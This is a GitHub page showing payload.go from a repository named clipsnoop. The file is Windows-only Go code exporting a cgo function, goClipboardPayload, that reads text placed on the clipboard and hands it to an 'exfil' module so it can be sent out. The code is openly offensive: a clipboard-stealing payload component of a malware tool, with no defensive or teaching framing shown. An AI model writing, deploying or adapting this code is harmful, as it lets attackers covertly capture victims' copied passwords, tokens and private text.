-
Notifications
You must be signed in to change notification settings - Fork 1
/
payload.go
39 lines (33 loc) · 815 Bytes
/
payload.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//go:build windows
// +build windows
package main
import "C"
import (
"unsafe"
"github.com/stavinski/clipsnoop/exfil"
"golang.org/x/sys/windows"
)
const (
CF_TEXT = 1
CF_UNICODE = 13
)
// exfil clipboard text
func exfilClipText(content string) {
exfil.Exfil.Write(content)
}
//export goClipboardPayload
func goClipboardPayload(uFormat uint32, hMem uintptr) {
// only intestered in text formats
if uFormat != CF_TEXT && uFormat != CF_UNICODE {
return
}
ptrData := *(*uintptr)(unsafe.Pointer(hMem))
content := ""
if uFormat == CF_TEXT {
content = windows.BytePtrToString((*byte)(unsafe.Pointer(ptrData)))
} else {
content = windows.UTF16PtrToString((*uint16)(unsafe.Pointer(ptrData)))
}
// perform this in a separate goroutine to not block the call with I/O
go exfilClipText(content)
}